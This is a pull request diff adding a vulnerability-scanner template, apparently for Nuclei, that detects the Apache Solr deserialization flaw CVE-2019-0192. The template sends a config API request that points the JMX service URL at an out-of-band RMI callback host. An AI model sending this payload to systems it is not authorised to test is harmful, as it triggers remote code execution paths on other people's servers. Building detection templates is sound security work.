Merge pull request #11127 from hnd3884/patch-1

Add template for CVE-2019-0192 Apache Solr unsafe deserialization

http/cves/2019/CVE-2019-0192.yaml

@@ -0,0 +1,58 @@
+id: CVE-2019-0192
+
+info:
+  name: Apache Solr - Deserialization of Untrusted Data
+  author: hnd3884
+  severity: critical
+  description: |
+    In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.
+  reference:
+    - https://github.com/Imanfeng/Apache-Solr-RCE
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-0192
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2019-0192
+    cwe-id: CWE-502
+    epss-score: 0.94754
+    epss-percentile: 0.99337
+    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
+  metadata:
+    max-request: 2
+    vendor: apache
+    product: solr
+    shodan-query: title:"Solr"
+    fofa-query: title="Solr
+  tags: cve,cve2019,apache,solr,deserialization,rce,oast
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET /solr/admin/cores?wt=json HTTP/1.1
+        Host: {{Hostname}}
+
+    extractors:
+      - type: json
+        name: core_name
+        json:
+          - '.status | .[].name'
+        internal: true
+
+  - raw:
+      - |
+        POST /solr/{{core_name}}/config HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+
+        {"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://{{interactsh-url}}/obj"}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains(body, "javax.management.remote.rmi")'
+          - 'contains(content_type, "text/plain")'
+          - 'status_code == 500'
+        condition: and